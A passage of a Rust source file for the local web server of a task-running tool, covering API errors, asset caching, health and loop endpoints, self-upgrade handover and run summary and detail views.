1676 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1677 local-only and a phone cannot reach it; start Tailscale \
1678 or pass --bind <addr>"
1679 )),
1680 ),
1681 },
1682 }
1683}
1684
1685fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1693 let out = std::process::Command::new("tailscale")
1694 .args(["ip", "-4"])
1695 .quiet()
1696 .output()
1697 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1698 if !out.status.success() {
1699 let why = String::from_utf8_lossy(&out.stderr);
1700 let why = why.trim();
1701 return Err(format!(
1702 "`tailscale ip -4` failed ({}){}",
1703 out.status,
1704 if why.is_empty() {
1705 String::new()
1706 } else {
1707 format!(": {why}")
1708 }
1709 ));
1710 }
1711 String::from_utf8_lossy(&out.stdout)
1712 .lines()
1713 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1714 .find(is_tailnet)
1715 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1716}
1717
1718fn is_tailnet(ip: &Ipv4Addr) -> bool {
1720 let o = ip.octets();
1721 o[0] == 100 && (64..=127).contains(&o[1])
1722}
1723
1724type ApiResult<T> = std::result::Result<T, ApiError>;
1728
1729#[derive(Debug)]
1731struct ApiError {
1732 status: StatusCode,
1733 message: String,
1734}
1735
1736impl ApiError {
1737 fn bad_request(message: impl Into<String>) -> Self {
1739 Self {
1740 status: StatusCode::BAD_REQUEST,
1741 message: message.into(),
1742 }
1743 }
1744
1745 fn not_found(message: impl Into<String>) -> Self {
1747 Self {
1748 status: StatusCode::NOT_FOUND,
1749 message: message.into(),
1750 }
1751 }
1752
1753 fn with_status(mut self, status: StatusCode) -> Self {
1756 self.status = status;
1757 self
1758 }
1759
1760 fn bad_request_from(e: anyhow::Error) -> Self {
1764 Self::bad_request(format!("{e:#}"))
1765 }
1766
1767 fn conflict(message: impl Into<String>) -> Self {
1768 Self {
1769 status: StatusCode::CONFLICT,
1770 message: message.into(),
1771 }
1772 }
1773
1774 fn internal(message: impl Into<String>) -> Self {
1776 Self {
1777 status: StatusCode::INTERNAL_SERVER_ERROR,
1778 message: message.into(),
1779 }
1780 }
1781}
1782
1783impl From<anyhow::Error> for ApiError {
1784 fn from(e: anyhow::Error) -> Self {
1789 Self::internal(format!("{e:#}"))
1790 }
1791}
1792
1793impl IntoResponse for ApiError {
1794 fn into_response(self) -> Response {
1795 let body = serde_json::json!({ "error": self.message });
1796 (self.status, Json(body)).into_response()
1797 }
1798}
1799
1800async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1809where
1810 T: Send + 'static,
1811{
1812 match tokio::task::spawn_blocking(job).await {
1813 Ok(result) => result,
1814 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1815 }
1816}
1817
1818const ASSET_CACHE: &str = "no-cache, must-revalidate";
1836
1837fn asset_etag() -> &'static str {
1844 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1845 format!(
1846 "\"{}-{}\"",
1847 env!("CARGO_PKG_VERSION"),
1848 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1853 )
1854 });
1855 &TAG
1856}
1857
1858fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1860 [
1861 (header::CONTENT_TYPE, mime),
1862 (header::CACHE_CONTROL, ASSET_CACHE),
1863 (header::ETAG, asset_etag()),
1864 ]
1865}
1866
1867fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1875 let tag = asset_etag();
1876 let known = headers
1877 .get(header::IF_NONE_MATCH)
1878 .and_then(|v| v.to_str().ok())
1879 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1883 if known {
1884 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1885 }
1886 (asset_headers(mime), body).into_response()
1887}
1888
1889async fn index(headers: header::HeaderMap) -> Response {
1890 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1891}
1892
1893async fn app_css(headers: header::HeaderMap) -> Response {
1894 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1895}
1896
1897async fn app_js(headers: header::HeaderMap) -> Response {
1898 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1899}
1900
1901#[derive(Debug, Serialize)]
1903struct HealthView {
1904 version: &'static str,
1905 home: String,
1906 queue_rev: u64,
1907 runs_rev: u64,
1908 questions_rev: u64,
1920 talks_rev: u64,
1922 notifications_rev: u64,
1924 notifications_unread: usize,
1927 loop_rev: u64,
1932 runs_unreadable: usize,
1940 disk: DiskView,
1948 questions_open: usize,
1954 questions_needs_owner: usize,
1964 daemon: DaemonView,
1965 #[serde(rename = "loop")]
1971 looping: LoopView,
1972 update: UpdateView,
1979 upgrade: Option<UpgradeProgressView>,
1983}
1984
1985#[derive(Debug, Serialize)]
1992struct UpdateView {
1993 available: bool,
1995 to: Option<String>,
1997}
1998
1999#[derive(Debug, Serialize)]
2001struct UpgradeProgressView {
2002 stage: updater::Stage,
2003 from: String,
2004 to: Option<String>,
2005 waiting_on: Option<String>,
2008 started_at: Timestamp,
2009 updated_at: Timestamp,
2010 detail: Option<String>,
2011 stuck_for_secs: Option<i64>,
2014 stuck_kind: Option<updater::StallKind>,
2017 handover_alive: bool,
2020}
2021
2022fn should_spawn_recheck(cfg: &Update) -> bool {
2029 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2030}
2031
2032fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2044 if progress.is_some_and(|p| !p.stage.terminal()) {
2045 return false;
2046 }
2047 checker.should_check()
2048}
2049
2050fn recheck_poll_period(cfg: &Update) -> Duration {
2063 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2064}
2065
2066async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2090 loop {
2091 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2092 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2093 if !should_spawn_recheck(&cfg.update) {
2094 continue;
2095 }
2096 let Some(checker) = updater::Checker::new(&cfg.update) else {
2097 continue;
2098 };
2099 let progress = updater::read_progress(&home);
2100 if !update_recheck_due(&checker, progress.as_ref()) {
2101 continue;
2102 }
2103 if let Err(e) = checker.newer_release().await {
2104 tracing::warn!("background update recheck failed: {e:#}");
2105 }
2106 }
2107}
2108
2109fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2115 let default;
2116 let cfg = match cfg {
2117 Some(cfg) => cfg,
2118 None => {
2119 default = Config::default();
2120 &default
2121 }
2122 };
2123 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2124 match latest {
2125 Some(latest) => UpdateView {
2126 available: true,
2127 to: Some(latest.tag_name),
2128 },
2129 None => UpdateView {
2130 available: false,
2131 to: None,
2132 },
2133 }
2134}
2135
2136fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2142 let now = Timestamp::now();
2143 let lease = updater::read_lease(&ui.home);
2144 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2145 let run_id = alive
2146 .and_then(|l| l.parked_run.as_deref())
2147 .or(progress.parked_run.as_deref());
2148 let parking = progress.stage == updater::Stage::Parking;
2149 let waited = alive.map_or_else(String::new, |l| {
2150 let secs = updater::waited_secs(l, now);
2151 format!(" (waited {} min so far)", secs / 60)
2152 });
2153 let run_text = run_id
2154 .filter(|_| parking)
2155 .map(|id| match read_run(&ui.runs, id).ok() {
2156 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2157 None => format!("run {id} is finishing"),
2158 });
2159 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2160 .filter(|t| parking && !t.is_empty())
2161 .map(|t| format!("{t} finishing"));
2162 let waiting_on = match (run_text, talks_text) {
2163 (None, None) => None,
2164 (run, talks) => {
2165 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2166 Some(format!(
2167 "{} before the address is handed over{waited}",
2168 parts.join(" and ")
2169 ))
2170 }
2171 };
2172 let detail = progress
2173 .detail
2174 .clone()
2175 .or_else(|| updater::read_note(&ui.home, &progress));
2176 let stalled = updater::stall(&progress, lease.as_ref(), now);
2177 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2178 UpgradeProgressView {
2179 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2180 stuck_kind: stalled.map(|s| s.kind),
2181 handover_alive: alive.is_some(),
2182 stage: progress.stage,
2183 from: progress.from,
2184 to: progress.to,
2185 waiting_on,
2186 started_at: progress.started_at,
2187 updated_at: progress.updated_at,
2188 detail,
2189 }
2190}
2191
2192#[derive(Debug, Serialize)]
2197struct DiskView {
2198 #[serde(skip_serializing_if = "Option::is_none")]
2200 free_bytes: Option<u64>,
2201 runs_bytes: u64,
2203 worktrees_bytes: u64,
2205 #[serde(skip_serializing_if = "Option::is_none")]
2207 cache_bytes: Option<u64>,
2208}
2209
2210impl DiskView {
2211 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2213 let cache_bytes = cfg
2214 .and_then(|cfg| cfg.cache_dir())
2215 .map(|dir| crate::disk::dir_size(&dir));
2216 Self {
2217 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2218 runs_bytes: crate::disk::dir_size(&ui.runs),
2219 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2220 cache_bytes,
2221 }
2222 }
2223}
2224
2225#[derive(Debug, Serialize)]
2227struct DaemonView {
2228 running: bool,
2229 idle: Option<bool>,
2230 pid: Option<u32>,
2231 current: Vec<daemon::Current>,
2235 completed: Option<u64>,
2236 stale_for_secs: Option<i64>,
2237}
2238
2239impl DaemonView {
2240 fn of(status: Option<daemon::Reading>) -> Self {
2244 let Some(status) = status else {
2245 return Self {
2246 running: false,
2247 idle: None,
2248 pid: None,
2249 current: Vec::new(),
2250 completed: None,
2251 stale_for_secs: None,
2252 };
2253 };
2254 let now = Timestamp::now();
2255 let age = status.age_secs(now);
2256 Self {
2257 running: status.running(now),
2258 idle: Some(status.idle),
2259 pid: status.pid,
2260 current: status.current,
2261 completed: Some(status.completed),
2262 stale_for_secs: age,
2263 }
2264 }
2265}
2266
2267async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2268 blocking(move || {
2269 let reading = daemon::read_status(&ui.home);
2273 let loop_rev = ui.lock_loop().rev;
2277 let cfg = deputy_config(&ui.repo);
2280 let update = cached_update_view(cfg.as_ref());
2281 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2282 Ok(Json(HealthView {
2283 version: env!("CARGO_PKG_VERSION"),
2284 home: ui.home.display().to_string(),
2285 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2286 runs_rev: runs_revision(&ui.runs),
2287 questions_rev: ui.questions.revision(),
2288 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2289 notifications_rev: ui.notices.revision(),
2290 notifications_unread: ui.notices.count_unread(),
2291 loop_rev,
2292 runs_unreadable: runs_unreadable(&ui.runs),
2293 questions_open: ui.questions.count_open(),
2294 questions_needs_owner: ui.questions.count_needs_owner(),
2295 daemon: DaemonView::of(reading.clone()),
2296 looping: ui.loop_view(reading),
2297 disk: DiskView::of(&ui, cfg.as_ref()),
2298 update,
2299 upgrade,
2300 }))
2301 })
2302 .await
2303}
2304
2305#[derive(Debug, Serialize)]
2307struct LoopView {
2308 running: bool,
2310 stopping: bool,
2318 parking: bool,
2326 owned: bool,
2334 repo: String,
2337 merge: Option<String>,
2340 last_error: Option<String>,
2348 daemon: DaemonView,
2351}
2352
2353#[derive(Debug, Clone, Copy)]
2362struct Foreign {
2363 pid: Option<u32>,
2365}
2366
2367impl Foreign {
2368 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2371 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2375 }
2376
2377 fn who(&self) -> String {
2380 match self.pid {
2381 Some(pid) => format!("another magi process (pid {pid})"),
2382 None => "another magi process".to_owned(),
2383 }
2384 }
2385}
2386
2387type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2392
2393fn launch_daemon(
2395 opts: daemon::Opts,
2396 stop: daemon::Stop,
2397) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2398 Box::pin(daemon::serve_until(opts, stop))
2399}
2400
2401#[derive(Debug, Default)]
2403struct LoopState {
2404 live: Option<Live>,
2406 rev: u64,
2414 last_error: Option<String>,
2417 resume_after_handover: bool,
2422}
2423
2424#[derive(Debug)]
2426struct Live {
2427 stop: daemon::Stop,
2429 handle: tokio::task::JoinHandle<()>,
2434 opts: daemon::Opts,
2438}
2439
2440impl Live {
2441 fn alive(&self) -> bool {
2443 !self.handle.is_finished()
2444 }
2445}
2446
2447fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2454 state.lock().unwrap_or_else(PoisonError::into_inner)
2455}
2456
2457async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2459 blocking(move || {
2460 let reading = daemon::read_status(&ui.home);
2461 Ok(Json(ui.loop_view(reading)))
2462 })
2463 .await
2464}
2465
2466#[derive(Debug, Deserialize)]
2472#[serde(deny_unknown_fields)]
2473struct LoopCommand {
2474 running: bool,
2475 #[serde(default)]
2485 park: bool,
2486}
2487
2488async fn loop_post(
2496 State(ui): State<Arc<Ui>>,
2497 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2498) -> ApiResult<Json<LoopView>> {
2499 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2502 blocking(move || {
2503 let reading = daemon::read_status(&ui.home);
2504 let foreign = Foreign::of(reading.as_ref());
2505 if body.running {
2506 ui.start_loop(foreign)?;
2507 } else {
2508 ui.stop_loop(foreign, body.park)?;
2509 }
2510 Ok(Json(ui.loop_view(reading)))
2511 })
2512 .await
2513}
2514
2515#[derive(Debug, Serialize)]
2517struct UpgradeView {
2518 from: String,
2520 to: Option<String>,
2522 parked: Option<String>,
2524 detail: String,
2526}
2527
2528fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2531 progress.filter(|p| !p.stage.terminal())
2532}
2533
2534async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2558 let reading = daemon::read_status(&ui.home);
2559 if let Some(other) = Foreign::of(reading.as_ref()) {
2560 return Err(ApiError::conflict(format!(
2561 "the loop belongs to {}, so replacing this binary would leave \
2562 that process running an old one against the same queue. Upgrade \
2563 where it was started.",
2564 other.who()
2565 )));
2566 }
2567
2568 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2573 return Err(ApiError::conflict(
2574 "another request is already preparing an upgrade",
2575 ));
2576 };
2577 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2578 return Err(ApiError::conflict(
2579 "an upgrade is already in progress (this process started one and it \
2580 has not finished or failed yet)",
2581 ));
2582 }
2583 let recorded = updater::read_progress(&ui.home);
2584 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2585 return Err(ApiError::conflict(format!(
2586 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2587 stays stuck, restart the deck; on start it settles a stale record.",
2588 p.stage.as_str(),
2589 p.from,
2590 p.to.as_deref().unwrap_or("?"),
2591 )));
2592 }
2593
2594 if crate::updater::disabled_by_env() {
2600 return Ok((
2601 StatusCode::OK,
2602 Json(UpgradeView {
2603 from: env!("CARGO_PKG_VERSION").to_owned(),
2604 to: None,
2605 parked: None,
2606 detail: format!(
2607 "Automatic updates are disabled by {}. Nothing was parked \
2608 and nothing restarted.",
2609 crate::updater::NO_AUTOUPDATE_ENV
2610 ),
2611 }),
2612 ));
2613 }
2614
2615 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2620 let from = env!("CARGO_PKG_VERSION").to_owned();
2621 let latest = match crate::updater::Checker::new(&cfg.update) {
2622 Some(checker) => checker
2623 .newer_release()
2624 .await
2625 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2626 None => None,
2627 };
2628 let Some(latest) = latest else {
2629 return Ok((
2630 StatusCode::OK,
2631 Json(UpgradeView {
2632 from,
2633 to: None,
2634 parked: None,
2635 detail: "Already on the newest release. Nothing was parked \
2636 and nothing restarted."
2637 .to_owned(),
2638 }),
2639 ));
2640 };
2641
2642 let parked = ui.park_for_upgrade()?;
2645 let detail = match &parked {
2646 Some(run) => format!(
2651 "Run {} is parking at its next step, which can take as long as \
2652 the step it is on - up to an hour for an implement wave. The \
2653 deck replaces itself once it parks, comes back, and the loop \
2654 carries that run on from where it stopped. Nothing is lost if \
2655 you close this.",
2656 crate::run::short_of(run)
2657 ),
2658 None => "The deck replaces itself and comes back. Nothing was in \
2659 flight to park."
2660 .to_owned(),
2661 };
2662
2663 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2667 progress.parked_run = parked.clone();
2668 updater::write_progress_logged(&ui.home, &progress);
2672
2673 let home = ui.home.clone();
2674 let looping = ui.looping();
2675 ui.upgrade_spawned
2676 .store(true, std::sync::atomic::Ordering::SeqCst);
2677 let spawned = Arc::clone(&ui.upgrade_spawned);
2678 tokio::spawn(async move {
2679 if let Err(e) = upgrade_and_restart(home.clone()).await {
2680 tracing::error!("the upgrade did not complete: {e:#}");
2681 lock_or_recover(&looping).resume_after_handover = false;
2682 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2686 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2689 }
2690 });
2691
2692 Ok((
2693 StatusCode::ACCEPTED,
2694 Json(UpgradeView {
2695 from,
2696 to: Some(latest.tag_name),
2697 parked,
2698 detail,
2699 }),
2700 ))
2701}
2702
2703async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2708 crate::updater::run_self_update(true, false, true).await?;
2711 updater::log_step(&home, "binary replaced - recording the replaced stage");
2712 if let Some(mut progress) = updater::read_progress(&home) {
2713 progress.advance(updater::Stage::Replaced);
2714 updater::write_progress_logged(&home, &progress);
2715 }
2716 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2717 HANDOVER.notify_one();
2718 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2719 Ok(())
2720}
2721
2722#[derive(Debug, Serialize)]
2728struct RunSummary {
2729 id: String,
2730 short: String,
2731 status: String,
2732 done: bool,
2733 instruction: String,
2734 title: String,
2735 repo: String,
2736 repo_name: String,
2737 created_at: String,
2738 updated_at: String,
2739 candidates: usize,
2740 viable: usize,
2741 judges: usize,
2742 winner: Option<char>,
2743 reviews: usize,
2744 quota_losses: usize,
2745 event: Option<String>,
2746 superseded_by: Option<String>,
2751 waiting: bool,
2758 live: crate::run::Liveness,
2762 pr: Option<crate::run::PrRecord>,
2764 unmerged_by_design: bool,
2770 origin_label: String,
2773}
2774
2775impl RunSummary {
2776 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2777 Self {
2778 id: state.id.clone(),
2779 short: state.short().to_owned(),
2780 status: status_word(state.status),
2781 done: state.status.done(),
2782 unmerged_by_design: state.unmerged_by_design(),
2783 instruction: state.instruction.clone(),
2784 title: title_from(&state.instruction, TITLE_MAX),
2785 repo: state.repo.display().to_string(),
2786 repo_name: state
2787 .repo
2788 .file_name()
2789 .map(|n| n.to_string_lossy().into_owned())
2790 .unwrap_or_default(),
2791 created_at: state.created_at.to_string(),
2792 updated_at: state.updated_at.to_string(),
2793 candidates: state.candidates.len(),
2794 viable: state.viable().len(),
2795 judges: state.config.graph.judges,
2796 winner: state.winner().map(|c| c.label),
2797 reviews: state.reviews.len(),
2798 quota_losses: state.quota.len(),
2799 event: state.events.last().map(|e| e.message.clone()),
2800 waiting,
2801 live,
2802 superseded_by: None,
2805 pr: state.pr.clone(),
2806 origin_label: crate::run::origin_label(state.origin.as_ref()),
2807 }
2808 }
2809}
2810
2811fn status_word(status: RunStatus) -> String {
2814 status.as_str().to_owned()
2818}
2819
2820#[derive(Debug, Deserialize)]
2822struct ListQuery {
2823 #[serde(default)]
2824 limit: Option<usize>,
2825 ids: Option<String>,
2827}
2828
2829impl ListQuery {
2830 fn contains(&self, id: &str) -> bool {
2831 self.ids
2832 .as_ref()
2833 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2834 }
2835}
2836
2837async fn runs_list(
2838 State(ui): State<Arc<Ui>>,
2839 Query(q): Query<ListQuery>,
2840) -> ApiResult<Json<Vec<RunSummary>>> {
2841 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2842 blocking(move || {
2843 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2844 let states = run_ids(&ui.runs)
2845 .into_iter()
2846 .filter_map(|id| read_run(&ui.runs, &id).ok())
2851 .take(limit)
2852 .filter(|run| q.contains(&run.id));
2853 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2854 let summaries = summarize(
2855 states,
2856 &open_runs,
2857 &claimed,
2858 &superseded,
2859 |p| probe.borrow_mut().status(p),
2860 |p| probe.borrow_mut().started_at(p),
2861 );
2862 Ok(Json(summaries))
2863 })
2864 .await
2865}
2866
2867fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2872 let open_runs: HashSet<String> = ui
2873 .questions
2874 .list()
2875 .into_iter()
2876 .filter(|q| q.status.open())
2877 .map(|q| q.run)
2878 .collect();
2879 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2880 .into_iter()
2881 .map(|c| c.run)
2882 .collect();
2883 (open_runs, claimed, ui.queue.superseded())
2884}
2885
2886fn summarize<I, S, D>(
2892 states: I,
2893 open_runs: &HashSet<String>,
2894 claimed: &HashSet<String>,
2895 superseded: &HashMap<String, String>,
2896 mut status_q: S,
2897 mut identity_q: D,
2898) -> Vec<RunSummary>
2899where
2900 I: IntoIterator<Item = RunState>,
2901 S: FnMut(u32) -> Option<bool>,
2902 D: FnMut(u32) -> Option<String>,
2903{
2904 states
2905 .into_iter()
2906 .map(|state| {
2907 let waiting = open_runs.contains(&state.id);
2908 let live =
2909 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2910 let mut row = RunSummary::of(&state, waiting, live);
2911 row.superseded_by = superseded
2912 .get(&state.id)
2913 .map(String::as_str)
2914 .map(crate::run::short_of)
2915 .map(str::to_owned);
2916 row
2917 })
2918 .collect()
2919}
2920
2921#[derive(Debug, Serialize)]
2928struct RunDetailView {
2929 #[serde(flatten)]
2930 state: RunState,
2931 instruction_md: Vec<md::Node>,
2932 #[serde(flatten)]
2936 prose_md: RunProseMd,
2937 live: crate::run::Liveness,
2952 unmerged_by_design: bool,
2957 done: bool,
2962 superseded_by: Option<String>,
2970 latest_attempt: Option<LatestAttempt>,
2984 task: Option<TaskRef>,
2987 origin_label: String,
2991}
2992
2993#[derive(Debug, Serialize)]
2995struct TaskRef {
2996 id: String,
2997 short: String,
2998 title: String,
2999 source_label: String,
3001 source_link: Option<SourceLink>,
3003 status: &'static str,
3005 attempts: usize,
3006 max_attempts: usize,
3007 is_latest: bool,
3009 latest: Option<RunBrief>,
3011 finished_by: Option<RunBrief>,
3013 closed_by_hand: bool,
3015}
3016
3017#[derive(Debug, PartialEq, Eq, Serialize)]
3019struct SourceLink {
3020 kind: &'static str,
3022 id: String,
3024 href: String,
3026}
3027
3028fn encode_segment(raw: &str) -> String {
3030 let mut out = String::with_capacity(raw.len());
3031 for b in raw.bytes() {
3032 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3033 out.push(b as char);
3034 } else {
3035 out.push_str(&format!("%{b:02X}"));
3036 }
3037 }
3038 out
3039}
3040
3041fn source_link(source: &Source) -> Option<SourceLink> {
3045 let Source::Agent { run, node } = source else {
3046 return None;
3047 };
3048 let (kind, route) = if node == crate::queue::CHAT_NODE {
3049 ("chat", "chat")
3050 } else {
3051 ("run", "runs")
3052 };
3053 Some(SourceLink {
3054 kind,
3055 id: run.clone(),
3056 href: format!("#/{route}/{}", encode_segment(run)),
3057 })
3058}
3059
3060#[derive(Debug, Serialize)]
3062struct RunBrief {
3063 id: String,
3064 short: String,
3065 status: Option<&'static str>,
3067 outcome: String,
3069}
3070
3071fn task_outcome(
3074 task: &Task,
3075 this_run: &str,
3076 max_attempts: usize,
3077 read: impl Fn(&str) -> Option<RunState>,
3078) -> TaskRef {
3079 let history = task_history(task, read);
3080 let brief = |h: &TaskRunView| RunBrief {
3081 id: h.id.clone(),
3082 short: h.short.clone(),
3083 status: h.status,
3084 outcome: h.exit.edge_label(h.status),
3085 };
3086 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3087 let latest = if is_latest {
3088 None
3089 } else {
3090 history.last().map(brief)
3091 };
3092 let done = task.status == TaskStatus::Done;
3093 let finished_by = done
3094 .then(|| {
3095 history
3096 .iter()
3097 .rev()
3098 .find(|h| {
3099 matches!(
3100 h.exit,
3101 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3102 )
3103 })
3104 .map(brief)
3105 })
3106 .flatten();
3107 TaskRef {
3108 short: task.short().to_owned(),
3109 title: task.title.clone(),
3110 id: task.id.clone(),
3111 source_label: task.source.label(),
3112 source_link: source_link(&task.source),
3113 status: task.status.as_str(),
3114 attempts: task.attempts,
3115 max_attempts,
3116 is_latest,
3117 latest,
3118 closed_by_hand: done && finished_by.is_none(),
3119 finished_by,
3120 }
3121}
3122
3123#[derive(Debug, Serialize)]
3125struct LatestAttempt {
3126 id: String,
3127 short: String,
3128 resolved: bool,
3139 status: RunStatus,
3142 done: bool,
3144}
3145
3146#[derive(Debug, Default, Serialize)]
3148struct RunProseMd {
3149 advice_md: Option<AdviceMd>,
3151 candidate_summaries_md: Vec<Vec<md::Node>>,
3153 reviews_md: Vec<RoundMd>,
3155}
3156
3157#[derive(Debug, Default, Serialize)]
3158struct AdviceMd {
3159 synthesis: Vec<md::Node>,
3160 approaches: Vec<Vec<md::Node>>,
3162}
3163
3164#[derive(Debug, Default, Serialize)]
3165struct RoundMd {
3166 reviewers: Vec<ReviewerMd>,
3168 reconsideration: Vec<Vec<md::Node>>,
3170 fix: Option<FixMd>,
3171}
3172
3173#[derive(Debug, Default, Serialize)]
3174struct ReviewerMd {
3175 summary: Vec<md::Node>,
3176 findings: Vec<Vec<md::Node>>,
3178}
3179
3180#[derive(Debug, Default, Serialize)]
3181struct FixMd {
3182 notes: Vec<md::Node>,
3183 rejected: Vec<Vec<md::Node>>,
3185}
3186
3187fn run_prose_md(state: &RunState) -> RunProseMd {
3189 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3190 RunProseMd {
3191 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3192 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3193 approaches: a
3194 .records
3195 .iter()
3196 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3197 .collect(),
3198 }),
3199 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3200 reviews_md: state
3201 .reviews
3202 .iter()
3203 .map(|round| RoundMd {
3204 reviewers: round
3205 .reviews
3206 .iter()
3207 .map(|rec| ReviewerMd {
3208 summary: nodes(&rec.summary),
3209 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3210 })
3211 .collect(),
3212 reconsideration: round
3213 .reconsideration
3214 .iter()
3215 .map(|rv| nodes(&rv.reason))
3216 .collect(),
3217 fix: round.fix.as_ref().map(|fix| FixMd {
3218 notes: nodes(&fix.notes),
3219 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3220 }),
3221 })
3222 .collect(),
3223 }
3224}
3225
3226impl RunDetailView {
3227 fn of(
3228 state: RunState,
3229 live: crate::run::Liveness,
3230 superseded_by: Option<String>,
3231 latest_attempt: Option<LatestAttempt>,
3232 task: Option<TaskRef>,
3233 ) -> Self {
3234 Self {
3235 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3236 prose_md: run_prose_md(&state),
3237 origin_label: crate::run::origin_label(state.origin.as_ref()),
3238 live,
3239 unmerged_by_design: state.unmerged_by_design(),
3240 done: state.status.done(),
3241 superseded_by,
3242 latest_attempt,
3243 task,
3244 state,
3245 }
3246 }
3247}
3248
3249async fn run_detail(
3250 State(ui): State<Arc<Ui>>,
3251 Path(id): Path<String>,
3252) -> ApiResult<Json<RunDetailView>> {
3253 blocking(move || {
3254 let id = resolve_run(&ui.runs, &id)?;
3255 let state = read_run(&ui.runs, &id)?;
3256 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3257 let live = state.liveness(daemon_claims);
3258 let superseded_by = ui
3259 .queue
3260 .superseded_by(&id)
3261 .as_deref()
3262 .map(crate::run::short_of)
3263 .map(str::to_owned);
3264 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3268 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3269 short: head.short().to_owned(),
3270 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3271 status: head.status,
3272 done: head.status.done(),
3273 id: head.id,
3274 })
3275 });
3276 let max_attempts = daemon::Opts::default().max_attempts;
3277 let task = ui
3278 .queue
3279 .list()
3280 .into_iter()
3281 .find(|t| t.runs.contains(&id))
3282 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
